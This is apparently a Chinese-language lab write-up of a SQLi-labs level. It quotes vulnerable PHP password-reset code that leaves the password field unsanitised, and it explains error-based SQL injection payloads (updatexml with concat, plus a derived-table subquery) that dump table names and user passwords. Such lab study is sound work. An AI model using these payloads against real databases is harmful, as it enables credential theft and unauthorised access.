首先尝试了1’ 1” 1’) 1”) 各种方式的注入都没发生报错 都没有回显报错
1’ or 1=1# 1’) or 1=1# 1”) or 1=1# 1” or 1=1# 万能密码尝试登录进去也都没有登录进去
而且返回了一个BUG OFF YOU SILLY DUMB HACKER
emmm….应该是有一个绕过 才会返回这个 看了一下源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15); //从第0位开始截取value的15位值并重新赋值给value}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()) //get_magic_quotes_gpc() 获取 magic_quotes_gpc 的配置选项设置{$value = stripslashes($value);//去除addslashes()函数添加的反斜号}// Quote if not a numberif (!ctype_digit($value)) #检测数字,负数和小数也不行{$value = "'" . mysql_real_escape_string($value) . "'";#如果value的值不是数字就加引号}else{$value = intval($value);#intval() 函数用于获取变量的整数值。}return $value;}// take the variablesif(isset($_POST['uname']) && isset($_POST['passwd'])){//making sure uname is not injectable$uname=check_input($_POST['uname']);$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'New Password:'.$passwd."\n");fclose($fp);// connectivity@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);//echo $row;if($row){//echo '<font color= "#0000ff">';$row1 = $row['username'];//echo 'Your Login name:'. $row1;$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg" />';//echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font size="4.5" color="#FFFF00">';//echo "Bug off you Silly Dumb hacker";echo "</br>";echo '<img src="../images/slap1.jpg" />';echo "</font>";}}?>
在这里uname这个数据被check_input()这个函数进行了检查,简单描述一下这个函数的作用
第一个if:empty()判断如果不为空字符串,则截取该字符串0,15位第二个if:get_magic_quotes_gpc() 获取 magic_quotes_gpc 的配置选项设置,如果php开启了改配置选项则要用stripslashes()去除字符串的' " \这些符号因为开启了该配置选项,会在前面添加了\转义,所以用stripslashes()去除添加的\第三个if:ctype_digit($value)判断是否为数字,如果是数字则会返回true,加上前面的!,就是说如果不是数字则会用mysql_real_escape_string()函数,如果不是数字则加引号第四个else:如果是数字则直接用intval() 函数获取变量的整数值
首先他会通过username来获取当前用户的信息 如果username不正确则会直接返回一个BUG OFF YOU SILLY DUMB HACKER
所以首先要保证用户名的正确
接着就可以用万能密码直接登录进去了
因为没有回显,但是有报错,所以可以通过报错注入来获取有用的信息
关键点
当你用的用户名正确的时候
password设置为
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
可以轻松得到想要得到表名的数据 但是你在想得到字段里的数据的时候却会遇到些困难
情况如下
1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#
页面返回
但是你在输入
1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#
却可以得到相应的信息
这里就是重点了
You can't specify target table 'users' for update in FROM clause意思是:你不能先select出同一表中的某些值,再update这个表(在同一语句中).你需要用到派生表来获取相应的数据1' and updatexml(1,concat(0x7e,(select * from (select group_concat(password) from users) a),0x7e),1)#
派生表的教程大家自己学一下!
这里想直接获取password时候 等于执行了这个
执行派生表
update users set password='1' and updatexml(1,concat(0x7e,select * from (select group_concat(password) from users) a,0x7e),1);

